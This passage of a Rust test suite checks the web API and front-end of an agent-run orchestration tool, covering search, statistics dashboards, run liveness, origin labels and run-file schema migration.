18578 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18580 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18581 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18583 assert_eq!(search(q).await["total"], 0, "{q}");
18584 }
18585 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18587 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18589
18590 let v = f.get("/api/search?scope=nope&q=a").await;
18591 assert_eq!(v.status, 400);
18592 assert!(
18593 v.body.contains("scope must be runs, tasks or chats"),
18594 "{}",
18595 v.body
18596 );
18597 }
18598
18599 #[test]
18600 fn a_question_card_links_a_task_id_to_the_task_page() {
18601 let start = APP_JS
18602 .find("function updateAskCard(")
18603 .expect("updateAskCard exists");
18604 let body = &APP_JS[start..];
18605 let body = &body[..body.find("\n}\n").expect("function end")];
18606 assert!(body.contains("question.run_is_task"));
18607 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18608 assert!(body.contains("`#/runs/${question.run}`"));
18609 assert!(body.contains("\"task\" : \"run\""));
18610 }
18611
18612 #[test]
18613 fn plain_text_message_surfaces_go_through_linkify() {
18614 assert!(APP_JS.contains("function linkify("));
18615 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18616 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18617 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18618 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18619 assert!(!APP_JS.contains("innerHTML = text"));
18620 }
18621
18622 #[test]
18623 fn implementation_rate_views_keep_independent_samples() {
18624 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18625 let a = stats::AgentStats {
18626 competitive_entered: competitive_n,
18627 competitive_wins: usize::from(competitive_n > 0),
18628 solo_entered: solo_n,
18629 solo_adopted: 2 * usize::from(solo_n > 0),
18630 ..Default::default()
18631 };
18632 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18633 for (key, n, numerator) in [
18634 ("competitive_win_rate", competitive_n, a.competitive_wins),
18635 ("solo_adoption_rate", solo_n, a.solo_adopted),
18636 ] {
18637 if n == 0 {
18638 assert!(v[key].is_null());
18639 } else {
18640 assert_eq!(v[key]["denominator"], n);
18641 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18642 }
18643 }
18644 }
18645 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18646 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18647 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18648 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18649 }
18650
18651 #[test]
18652 fn stats_bars_share_one_id_keyed_plan() {
18653 let start = APP_JS
18654 .find("function statsBarRows(")
18655 .expect("statsBarRows exists");
18656 let body = &APP_JS[start..];
18657 let body = &body[..body.find("\n}\n").expect("function end")];
18658 assert!(body.contains("statsBarPlan(rows)"));
18659 assert!(body.contains("statsAgentTone(row.agent)"));
18660 assert!(!body.contains("candTone(i)"));
18661 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18662 for root in [
18663 "stats-agents-bars",
18664 "stats-solo-bars",
18665 "stats-reviewers-bars",
18666 ] {
18667 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18668 }
18669 }
18670
18671 #[test]
18672 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18673 let start = APP_JS
18674 .find("function renderStatsReviewerScatter(")
18675 .expect("renderStatsReviewerScatter exists");
18676 let body = &APP_JS[start..];
18677 let body = &body[..body.find("\n}\n").expect("function end")];
18678 assert!(body.contains("statsScatterPlan(reviewers)"));
18679 assert!(body.contains("statsAgentTone(d.agent)"));
18680 assert!(APP_JS.contains("function statsScatterPlan("));
18681 assert!(
18682 APP_JS.contains("d.submitted < STATS_LOW_N")
18683 || APP_JS.contains("r.submitted < STATS_LOW_N")
18684 );
18685 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18686 assert!(APP_CSS.contains(".precision-scatter"));
18687 }
18688
18689 #[test]
18690 fn advisor_reflection_is_drawn_as_stacked_segments() {
18691 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18692 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18693 let html = include_str!("../assets/ui/index.html");
18694 assert!(html.contains("Approximate"));
18695 for label in ["reflected strongly", "faint", "no proposal"] {
18696 assert!(html.contains(label));
18697 }
18698 let css = include_str!("../assets/ui/app.css");
18699 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18700 assert!(css.contains(&format!(".{c} {{")));
18701 }
18702 }
18703
18704 #[test]
18705 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18706 assert!(APP_JS.contains("function statsDailyPlan("));
18707 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18708 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18709 }
18710
18711 #[test]
18712 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18713 let start = APP_JS
18714 .find("function scheduleSearch(")
18715 .expect("scheduleSearch exists");
18716 let body = &APP_JS[start..];
18717 let body = &body[..body.find("\n}\n").expect("function end")];
18718 assert!(body.contains("s.seq += 1"));
18719 }
18720
18721 #[tokio::test]
18726 async fn stats_runs_unreadable_matches_health() {
18727 let f = Fixture::start().await;
18728 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18729 let broken = f.runs().join("20260902-140502-bad");
18730 std::fs::create_dir_all(&broken).expect("run dir");
18731 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18732
18733 let stats = f.get("/api/stats").await;
18734 let health = f.get("/api/health").await;
18735
18736 assert_eq!(stats.status, 200);
18737 assert_eq!(stats.json()["totals"]["runs"], 1);
18738 assert_eq!(stats.json()["runs_unreadable"], 1);
18739 assert_eq!(
18740 stats.json()["runs_unreadable"],
18741 health.json()["runs_unreadable"],
18742 "the dashboard and /api/health must never disagree about how many \
18743 runs could not be read"
18744 );
18745 }
18746
18747 #[tokio::test]
18748 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18749 let f = Fixture::start().await;
18750 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18751 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18752 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18753
18754 let totals = &f.get("/api/stats").await.json()["totals"];
18755 assert_eq!(totals["runs"], 3);
18756 assert_eq!(totals["merged"], 1);
18757 assert_eq!(totals["stalled"], 1);
18758 assert_eq!(totals["in_progress"], 1);
18759 assert_eq!(totals["blocked"], 0);
18762 assert_eq!(totals["ready"], 0);
18763 }
18764
18765 #[tokio::test]
18766 async fn stats_advisors_report_proposals_and_reflection() {
18767 use crate::advise::{Advice, AdvisorRecord, Reflection};
18768 use crate::verdict::Proposal;
18769
18770 let f = Fixture::start().await;
18771 let mut state = RunState::new(
18772 PathBuf::from("/repo/magi"),
18773 "main".to_owned(),
18774 "0123456789abcdef".to_owned(),
18775 "task".to_owned(),
18776 Config::default(),
18777 );
18778 state.id = "20260902-140501-a".to_owned();
18779 state.status = RunStatus::Merged;
18780 state.advice = Some(Advice {
18781 records: vec![
18782 AdvisorRecord {
18783 seat: "advisor-1".to_owned(),
18784 agent: "alpha".to_owned(),
18785 proposal: Some(Proposal {
18786 approach: "do it".to_owned(),
18787 key_tradeoff: "speed over memory".to_owned(),
18788 risks: Vec::new(),
18789 touches: Vec::new(),
18790 why_not_naive: "breaks under load".to_owned(),
18791 }),
18792 error: None,
18793 duration_ms: 0,
18794 reflection: Reflection::Strong,
18795 },
18796 AdvisorRecord {
18797 seat: "advisor-2".to_owned(),
18798 agent: "alpha".to_owned(),
18799 proposal: None,
18800 error: Some("timed out".to_owned()),
18801 duration_ms: 0,
18802 reflection: Reflection::Absent,
18803 },
18804 ],
18805 synthesis: Some("blended brief".to_owned()),
18806 });
18807 let dir = f.runs().join(&state.id);
18808 std::fs::create_dir_all(&dir).expect("run dir");
18809 std::fs::write(
18810 dir.join("run.json"),
18811 serde_json::to_string_pretty(&state).expect("serialize run"),
18812 )
18813 .expect("write run.json");
18814
18815 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18817 let alpha = advisors
18818 .as_array()
18819 .expect("an array")
18820 .iter()
18821 .find(|a| a["agent"] == "alpha")
18822 .expect("alpha row");
18823 assert_eq!(alpha["seated"], 2);
18824 assert_eq!(alpha["proposed"], 1);
18825 assert_eq!(alpha["absent"], 1);
18826 assert_eq!(alpha["strong"], 1);
18827 assert_eq!(alpha["faint"], 0);
18828 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18829 }
18830
18831 #[tokio::test]
18832 async fn stats_hides_agents_outside_the_roster_unless_all() {
18833 use crate::run::Candidate;
18834 let repo = TempDir::new().expect("repo dir");
18835 std::fs::write(
18836 repo.path().join("magi.toml"),
18837 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18838 )
18839 .expect("magi.toml");
18840 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18841 let mut state = RunState::new(
18842 PathBuf::from("/repo/magi"),
18843 "main".to_owned(),
18844 "0123456789abcdef".to_owned(),
18845 "task".to_owned(),
18846 Config::default(),
18847 );
18848 state.id = "20260902-140501-a".to_owned();
18849 state.status = RunStatus::Merged;
18850 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18851 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18852 "index": 0, "label": label.to_string(), "agent": agent,
18853 "branch": "b", "worktree": "/w",
18854 }))
18855 .expect("candidate");
18856 c.label = label;
18857 state.candidates.push(c);
18858 }
18859 let dir = f.runs().join(&state.id);
18860 std::fs::create_dir_all(&dir).expect("run dir");
18861 std::fs::write(
18862 dir.join("run.json"),
18863 serde_json::to_string_pretty(&state).expect("serialize run"),
18864 )
18865 .expect("write run.json");
18866
18867 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18868 v["agents"]
18869 .as_array()
18870 .expect("array")
18871 .iter()
18872 .map(|a| a["agent"].as_str().unwrap().to_owned())
18873 .collect()
18874 };
18875 let hidden = f.get("/api/stats").await.json();
18876 assert_eq!(agents_of(&hidden), ["keep"]);
18877 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18878 assert_eq!(hidden["totals"]["runs"], 1);
18879
18880 let all = f.get("/api/stats?all=true").await.json();
18881 assert_eq!(agents_of(&all).len(), 2);
18882 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18883 let keep_agent = all["agents"]
18885 .as_array()
18886 .unwrap()
18887 .iter()
18888 .find(|a| a["agent"] == "keep")
18889 .unwrap();
18890 assert_eq!(keep_agent["competitive_entered"], 1);
18891 assert_eq!(keep_agent["competitive_wins"], 0);
18892 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18893 assert_eq!(keep_agent["solo_entered"], 0);
18894 assert_eq!(keep_agent["solo_adopted"], 0);
18895 assert!(keep_agent["solo_adoption_rate"].is_null());
18896 }
18897
18898 #[tokio::test]
18899 async fn stats_release_bumps_split_clean_from_attention() {
18900 use crate::run::ReleaseBump;
18901
18902 let f = Fixture::start().await;
18903
18904 let mut clean = RunState::new(
18905 PathBuf::from("/repo/magi"),
18906 "main".to_owned(),
18907 "0123456789abcdef".to_owned(),
18908 "task".to_owned(),
18909 Config::default(),
18910 );
18911 clean.id = "20260902-140501-a".to_owned();
18912 clean.status = RunStatus::Merged;
18913 clean.release_bump = Some(ReleaseBump {
18914 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18915 version: Some("1.0.0".to_owned()),
18916 automerge_enabled: true,
18917 merged_directly: false,
18918 local: false,
18919 release: None,
18920 problem: None,
18921 action_required: None,
18922 skipped: None,
18923 });
18924
18925 let mut blocked = RunState::new(
18926 PathBuf::from("/repo/magi"),
18927 "main".to_owned(),
18928 "0123456789abcdef".to_owned(),
18929 "task".to_owned(),
18930 Config::default(),
18931 );
18932 blocked.id = "20260902-140502-b".to_owned();
18933 blocked.status = RunStatus::Merged;
18934 blocked.release_bump = Some(ReleaseBump {
18935 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18936 version: Some("1.0.1".to_owned()),
18937 automerge_enabled: false,
18938 merged_directly: false,
18939 local: false,
18940 release: None,
18941 problem: Some("checks red".to_owned()),
18942 action_required: Some("look at the PR".to_owned()),
18943 skipped: None,
18944 });
18945
18946 for state in [&clean, &blocked] {
18947 let dir = f.runs().join(&state.id);
18948 std::fs::create_dir_all(&dir).expect("run dir");
18949 std::fs::write(
18950 dir.join("run.json"),
18951 serde_json::to_string_pretty(state).expect("serialize run"),
18952 )
18953 .expect("write run.json");
18954 }
18955
18956 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18957 assert_eq!(bumps["merged"], 2);
18958 assert_eq!(bumps["recorded"], 2);
18959 assert_eq!(bumps["pr_opened"], 2);
18960 assert_eq!(bumps["automerge_enabled"], 1);
18961 assert_eq!(bumps["needs_attention"], 1);
18962 assert_eq!(bumps["clean"], 1);
18963 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18964 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18965 }
18966
18967 #[tokio::test]
18968 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18969 let f = Fixture::start().await;
18970 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18971
18972 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18973 assert_eq!(bumps["merged"], 1);
18974 assert_eq!(bumps["recorded"], 0);
18975 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18978 assert_eq!(bumps["automerge_rate"], Value::Null);
18981 assert_eq!(bumps["attention_rate"], Value::Null);
18982 }
18983
18984 #[tokio::test]
18985 async fn stats_queue_counts_come_from_the_live_queue() {
18986 let f = Fixture::start().await;
18987 let q = f.queue();
18988 let mut queued = Task::new(
18989 "queued task".to_owned(),
18990 "do it".to_owned(),
18991 PathBuf::from("/repo"),
18992 Source::Human,
18993 );
18994 q.put(&mut queued).expect("put queued");
18995 let mut held = Task::new(
18996 "held task".to_owned(),
18997 "do it later".to_owned(),
18998 PathBuf::from("/repo"),
18999 Source::Human,
19000 );
19001 held.hold_machine(Some("out of attempts".to_owned()));
19002 q.put(&mut held).expect("put held");
19003
19004 let queue = f.get("/api/stats").await.json()["queue"].clone();
19005 assert_eq!(queue["queued"], 1);
19006 assert_eq!(queue["held"], 1);
19007 assert_eq!(queue["running"], 0);
19008 assert_eq!(queue["done"], 0);
19009 assert_eq!(queue["failed"], 0);
19010 assert_eq!(queue["blocked"], 0);
19011 }
19012
19013 #[tokio::test]
19014 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19015 let f = Fixture::start().await;
19016 let stats = f.get("/api/stats").await;
19017 assert_eq!(stats.status, 200);
19018 assert_eq!(stats.json()["totals"]["runs"], 0);
19019 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19020 assert_eq!(stats.json()["runs_unreadable"], 0);
19021 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19022 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19023 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19024 assert_eq!(stats.json()["repo"], Value::Null);
19025 }
19026
19027 #[tokio::test]
19028 async fn stats_lists_every_repository_with_runs_recorded() {
19029 let f = Fixture::start().await;
19030 write_run_repo(
19031 &f.runs(),
19032 "20260902-140501-a",
19033 RunStatus::Merged,
19034 "/repos/a",
19035 );
19036 write_run_repo(
19037 &f.runs(),
19038 "20260902-140502-b",
19039 RunStatus::Merged,
19040 "/repos/a",
19041 );
19042 write_run_repo(
19043 &f.runs(),
19044 "20260902-140503-c",
19045 RunStatus::Blocked,
19046 "/repos/b",
19047 );
19048
19049 let stats = f.get("/api/stats").await;
19050 assert_eq!(stats.status, 200);
19051 assert_eq!(stats.json()["totals"]["runs"], 3);
19053 assert_eq!(stats.json()["repo"], Value::Null);
19054
19055 let repos = stats.json()["repos"].clone();
19056 let repos = repos.as_array().unwrap();
19057 assert_eq!(repos.len(), 2);
19058 assert_eq!(repos[0]["repo"], "/repos/a");
19060 assert_eq!(repos[0]["name"], "a");
19061 assert_eq!(repos[0]["runs"], 2);
19062 assert_eq!(repos[1]["repo"], "/repos/b");
19063 assert_eq!(repos[1]["runs"], 1);
19064 }
19065
19066 #[tokio::test]
19067 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19068 let f = Fixture::start().await;
19069 write_run_repo(
19070 &f.runs(),
19071 "20260902-140501-a",
19072 RunStatus::Merged,
19073 "/repos/a",
19074 );
19075 write_run_repo(
19076 &f.runs(),
19077 "20260902-140502-b",
19078 RunStatus::Blocked,
19079 "/repos/b",
19080 );
19081
19082 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19083 assert_eq!(stats.status, 200);
19084 assert_eq!(stats.json()["totals"]["runs"], 1);
19085 assert_eq!(stats.json()["totals"]["merged"], 1);
19086 assert_eq!(stats.json()["repo"], "/repos/a");
19087 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19090 assert_eq!(stats.json()["runs_unreadable"], 0);
19093 }
19094
19095 #[tokio::test]
19096 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19097 let f = Fixture::start().await;
19098 write_run_repo(
19099 &f.runs(),
19100 "20260902-140501-a",
19101 RunStatus::Merged,
19102 "/repos/a",
19103 );
19104 write_run_repo(
19105 &f.runs(),
19106 "20260902-140502-b",
19107 RunStatus::Merged,
19108 "/repos/b",
19109 );
19110
19111 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19112 let json = f.get(uri).await.json();
19113 let daily = json["daily"].as_array().expect("daily is an array");
19114 assert_eq!(daily.len(), 30);
19115 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19116 let mut sorted = dates.clone();
19117 sorted.sort();
19118 assert_eq!(dates, sorted);
19119 for d in daily {
19120 assert_eq!(
19121 d["merged"].as_u64().unwrap()
19122 + d["ready"].as_u64().unwrap()
19123 + d["other"].as_u64().unwrap(),
19124 d["runs"].as_u64().unwrap()
19125 );
19126 }
19127 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19128 }
19129 }
19130
19131 #[tokio::test]
19132 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19133 let f = Fixture::start().await;
19134 write_run_repo(
19135 &f.runs(),
19136 "20260902-140501-a",
19137 RunStatus::Merged,
19138 "/repos/a",
19139 );
19140
19141 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19142 assert_eq!(stats.status, 404);
19143 }
19144
19145 #[tokio::test]
19146 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19147 let f = Fixture::start().await;
19148 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19149
19150 let summary = f.get("/api/runs").await.json();
19151 let row = &summary[0];
19152 assert_eq!(row["short"], "a1b2");
19153 assert_eq!(row["status"], "ready");
19154 assert_eq!(row["done"], true);
19155 assert_eq!(row["title"], "Add a web UI");
19156 assert_eq!(row["repo_name"], "magi");
19157 assert_eq!(row["judges"], 3);
19158 assert_eq!(row["winner"], Value::Null);
19159 assert_eq!(row["reviews"], 0);
19160
19161 let detail = f.get("/api/runs/a1b2").await;
19164 assert_eq!(detail.status, 200);
19165 assert_eq!(detail.json()["base_branch"], "main");
19166 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19167 }
19168
19169 #[tokio::test]
19177 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19178 let f = Fixture::start().await;
19179
19180 let mut none_run = RunState::new(
19181 PathBuf::from("/repo/magi"),
19182 "main".to_owned(),
19183 "0123456789abcdef".to_owned(),
19184 "Add a web UI".to_owned(),
19185 Config::default(),
19186 );
19187 none_run.id = "20260902-140503-none".to_owned();
19188 none_run.status = RunStatus::Ready;
19189 none_run.merge = Some(crate::run::MergeOutcome {
19190 mode: crate::config::MergeMode::None,
19191 ok: true,
19192 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19193 empty: false,
19194 });
19195 write_state(&f.runs(), &none_run);
19196
19197 let mut pr_run = RunState::new(
19198 PathBuf::from("/repo/magi"),
19199 "main".to_owned(),
19200 "0123456789abcdef".to_owned(),
19201 "Add a web UI".to_owned(),
19202 Config::default(),
19203 );
19204 pr_run.id = "20260902-140504-prcl".to_owned();
19205 pr_run.status = RunStatus::Ready;
19206 pr_run.merge = Some(crate::run::MergeOutcome {
19207 mode: crate::config::MergeMode::Pr,
19208 ok: false,
19209 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19210 empty: false,
19211 });
19212 write_state(&f.runs(), &pr_run);
19213
19214 let summary = f.get("/api/runs").await.json();
19215 let rows: std::collections::HashMap<&str, &Value> = summary
19216 .as_array()
19217 .expect("an array")
19218 .iter()
19219 .map(|r| (r["id"].as_str().expect("an id"), r))
19220 .collect();
19221 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19222 assert_eq!(
19223 rows[none_run.id.as_str()]["unmerged_by_design"],
19224 true,
19225 "a mode-none Ready must be flagged in the list"
19226 );
19227 assert_eq!(
19228 rows[pr_run.id.as_str()]["unmerged_by_design"],
19229 false,
19230 "a Ready reached by a closed pull request is a different case"
19231 );
19232
19233 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19234 assert_eq!(none_detail["status"], "ready");
19235 assert_eq!(none_detail["unmerged_by_design"], true);
19236
19237 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19238 assert_eq!(pr_detail["unmerged_by_design"], false);
19239 }
19240
19241 #[tokio::test]
19246 async fn run_core_survives_unavailable_related_stores() {
19247 let home = TempDir::new().unwrap();
19248 let ui = delta_test_ui(home.path());
19249 let state = RunState::new(
19250 PathBuf::from("/repo/magi"),
19251 "main".into(),
19252 "0123456789abcdef".into(),
19253 "Useful core instructions".into(),
19254 Config::default(),
19255 );
19256 let dir = ui.runs.join(&state.id);
19257 std::fs::create_dir_all(&dir).unwrap();
19258 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19259 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19260 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19261 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19262 .await
19263 .unwrap()
19264 .0;
19265 assert_eq!(core.state.instruction, state.instruction);
19266 assert_eq!(core.state.updated_at, state.updated_at);
19267 assert!(core.task.is_none());
19268 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19269 }
19270
19271 #[tokio::test]
19272 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19273 let f = Fixture::start().await;
19274 let id = "20260902-140502-bbbb";
19278 let mut state = RunState::new(
19279 PathBuf::from("/repo/magi"),
19280 "main".to_owned(),
19281 "0123456789abcdef".to_owned(),
19282 "Add a web UI".to_owned(),
19283 Config::default(),
19284 );
19285 state.id = id.to_owned();
19286 state.status = RunStatus::Judging;
19287 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19288 let dir = f.runs().join(id);
19289 std::fs::create_dir_all(&dir).expect("run dir");
19290 std::fs::write(
19291 dir.join("run.json"),
19292 serde_json::to_string_pretty(&state).expect("serialize run"),
19293 )
19294 .expect("write run.json");
19295
19296 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19302 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19303 assert_eq!(cold["live"], "unknown", "{cold}");
19304
19305 write_daemon(f.home.path(), Timestamp::now());
19308 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19309 assert_eq!(warm["live"], "live", "{warm}");
19310 }
19311
19312 #[test]
19313 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19314 let home = tempfile::tempdir().expect("temp home");
19315 let runs = home.path().join("runs");
19316 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19317 let mut state = RunState::new(
19318 PathBuf::from("/repo/magi"),
19319 "main".to_owned(),
19320 "0123456789abcdef".to_owned(),
19321 "Generated review context, not authored task criteria".to_owned(),
19322 Config::default(),
19323 );
19324 state.origin = origin;
19325 state.status = RunStatus::Blocked;
19326 state.driver_exited = false;
19328 state.gate_ran = true;
19329 let expected = serde_json::to_value(&state).expect("serialize current state");
19330 let mut legacy = expected.clone();
19331 legacy["schema"] = serde_json::json!(13);
19332 legacy.as_object_mut().unwrap().remove("task_instruction");
19333 let dir = runs.join(&state.id);
19334 std::fs::create_dir_all(&dir).expect("run dir");
19335 let path = dir.join("run.json");
19336 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19337 std::fs::write(&path, &body).expect("write legacy run");
19338
19339 for loaded in [
19340 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19341 read_run(&runs, &state.id).expect("web migration"),
19342 ] {
19343 assert_eq!(loaded.schema, crate::run::SCHEMA);
19344 assert!(loaded.task_instruction.is_none());
19345 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19346 }
19347 assert_eq!(runs_unreadable(&runs), 0);
19348 assert_eq!(std::fs::read(&path).unwrap(), body);
19349 }
19350 }
19351
19352 #[tokio::test]
19355 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19356 let f = Fixture::start().await;
19357 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19358 let mut state = RunState::new(
19359 PathBuf::from("/repo/magi"),
19360 "main".to_owned(),
19361 "0123456789abcdef".to_owned(),
19362 "Add a web UI".to_owned(),
19363 Config::default(),
19364 );
19365 state.id = id.to_owned();
19366 state.origin = origin;
19367 let mut value = serde_json::to_value(&state).expect("serialize run");
19368 if let Some(schema) = schema {
19369 value["schema"] = serde_json::json!(schema);
19370 value.as_object_mut().unwrap().remove("origin");
19371 }
19372 let dir = f.runs().join(id);
19373 std::fs::create_dir_all(&dir).expect("run dir");
19374 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19375 };
19376 write(
19377 "20260930-092817-ec34",
19378 Some(crate::run::Origin::from_agent_env(
19379 Some(("4a7b".to_owned(), "chat".to_owned())),
19380 None,
19381 )),
19382 None,
19383 );
19384 write("20260930-092817-0ld1", None, Some(12));
19385
19386 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19387 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19388 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19389
19390 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19391 assert_eq!(
19392 old["origin_label"], "origin unknown (started before origins were recorded)",
19393 "{old}"
19394 );
19395 assert!(old["origin"].is_null(), "{old}");
19396
19397 let list = f.get("/api/runs").await.json();
19398 let labels: Vec<_> = list
19399 .as_array()
19400 .unwrap()
19401 .iter()
19402 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19403 .collect();
19404 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19405 }
19406
19407 #[tokio::test]
19408 async fn run_progress_observation_exposes_activity_without_control_evidence() {
19409 let f = Fixture::start().await;
19410 let mut state = RunState::new(
19411 PathBuf::from("/repo"),
19412 "main".into(),
19413 "abc".into(),
19414 "task".into(),
19415 Config::default(),
19416 );
19417 state.status = RunStatus::Implementing;
19418 state.seat_started(
19419 "implement",
19420 "implement-A",
19421 std::time::Duration::from_secs(60),
19422 0,
19423 );
19424 state.save_under(f.home.path()).unwrap();
19425 let observed = f
19426 .get(&format!("/api/runs/{}/progress", state.id))
19427 .await
19428 .json();
19429 assert_eq!(observed["id"], state.id);
19430 assert!(observed["observed_at"].is_string());
19431 assert_eq!(observed["updated_at"], state.updated_at.to_string());
19432 assert!(observed["progress"]["activity"].is_string());
19433 for field in [
19434 "config",
19435 "candidates",
19436 "land_approval",
19437 "task",
19438 "waiting",
19439 "done",
19440 ] {
19441 assert!(
19442 observed.get(field).is_none(),
19443 "progress must not expose control evidence: {field}"
19444 );
19445 }
19446 }
19447
19448 #[tokio::test]
19455 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19456 let f = Fixture::start().await;
19457 let id = "20260922-090000-cccc";
19458 let mut state = RunState::new(
19459 PathBuf::from("/repo/magi"),
19460 "main".to_owned(),
19461 "0123456789abcdef".to_owned(),
19462 "Review only".to_owned(),
19463 Config::default(),
19464 );
19465 state.id = id.to_owned();
19466 state.status = RunStatus::Reviewing;
19467 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19468 state.driver_pid = Some(std::process::id());
19474 state.driver_started_at = Some(
19475 crate::proc::process_started_at(std::process::id())
19476 .expect("this test process's own start time must be queryable"),
19477 );
19478 let dir = f.runs().join(id);
19479 std::fs::create_dir_all(&dir).expect("run dir");
19480 std::fs::write(
19481 dir.join("run.json"),
19482 serde_json::to_string_pretty(&state).expect("serialize run"),
19483 )
19484 .expect("write run.json");
19485
19486 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19487 assert_eq!(detail["live"], "live", "{detail}");
19488 }
19489
19490 #[tokio::test]
19496 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19497 let f = Fixture::start().await;
19498 let id = "20260922-090100-dddd";
19499 let mut state = RunState::new(
19500 PathBuf::from("/repo/magi"),
19501 "main".to_owned(),
19502 "0123456789abcdef".to_owned(),
19503 "Review only".to_owned(),
19504 Config::default(),
19505 );
19506 state.id = id.to_owned();
19507 state.status = RunStatus::Reviewing;
19508 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
